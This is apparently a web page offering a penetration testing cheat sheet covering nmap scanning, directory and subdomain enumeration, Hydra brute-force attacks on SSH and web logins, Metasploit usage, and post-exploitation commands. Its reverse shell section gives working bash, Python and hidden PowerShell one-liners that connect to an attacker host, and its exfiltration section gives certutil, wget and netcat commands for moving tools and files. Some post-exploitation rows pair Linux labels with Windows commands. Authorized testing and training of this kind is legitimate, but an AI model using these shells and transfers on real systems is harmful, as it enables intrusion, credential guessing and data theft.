Skip to content

Penetration Testing Toolkit Cheat Sheet

A quick reference for everyday penetration testing tools and frameworks.

Network Reconnaissance (Nmap)

Quick Scan:

nmap [IP]

Service/OS Detection:

nmap -sV -O [IP]

Aggressive (All-in-one):

nmap -A [IP]

TCP Connect Scan:

nmap -sT [IP]

UDP Scan:

nmap -sU [IP]

Scan for Vulnerabilities:

nmap --script vuln [IP]

Fast Scan (Top 100):

nmap -F [IP]

Web Enumeration & Brute Force

Directory Brute Force — Gobuster:

gobuster dir -u [URL] -w [wordlist]

Directory Brute Force — FFUF:

ffuf -u [URL]/FUZZ -w [wordlist]

Subdomain Discovery — Sublist3r:

sublist3r -d [domain]

HTTP Verbose Headers — Curl:

curl -I [URL]

SSH Brute Force — Hydra:

hydra -l [user] -P [passlist] [IP] ssh

Web Login Brute Force — Hydra:

hydra [IP] http-form-post "/login.php:user=^USER^&pass=^PASS^:F=Login failed"

Reverse Shells (The "One-Liners")

  • Netcat Listener (Attacker): nc -lvnp [Port]
  • Bash Reverse Shell: bash -i >& /dev/tcp/[Attacker_IP]/[Port] 0>&1
  • Python Reverse Shell: python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[Port]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
  • PowerShell Reverse Shell: powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP]",[Port]); ...

Post-Exploitation & Privilege Escalation

Check Current User — whoami / id:

whoami /priv

Check Kernel/OS — uname -a:

systeminfo

List SUID Files — find / -perm -u=s -type f 2>/dev/null:

N/A

Check Scheduled Tasks — cat /etc/crontab:

schtasks /query /fo LIST /v

List Local Users — cat /etc/passwd:

net user

Network Connections — ss -tunlp:

netstat -ano

Metasploit Framework (msfconsole)

  • Search for Exploit: search [name/cve]
  • Use Exploit: use exploit/[path]
  • Show Options: show options
  • Set Target/Payload: set RHOSTS [Target_IP] / set PAYLOAD [payload]
  • Run Exploit: exploit or run
  • Background Session: background or Ctrl+Z

File Transfer (Exfiltration)

  • Python Web Server (Attacker): python3 -m http.server 80
  • Linux Download (Target): wget http://[Attacker_IP]/tool or curl -O ...
  • Windows Download (Target): certutil -urlcache -f http://[IP]/tool.exe tool.exe
  • Netcat File Transfer:
  • Receiver: nc -l -p 1234 > file.txt
  • Sender: nc [IP] 1234 < file.txt

⚠️ Ethical Disclaimer This cheat sheet is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal.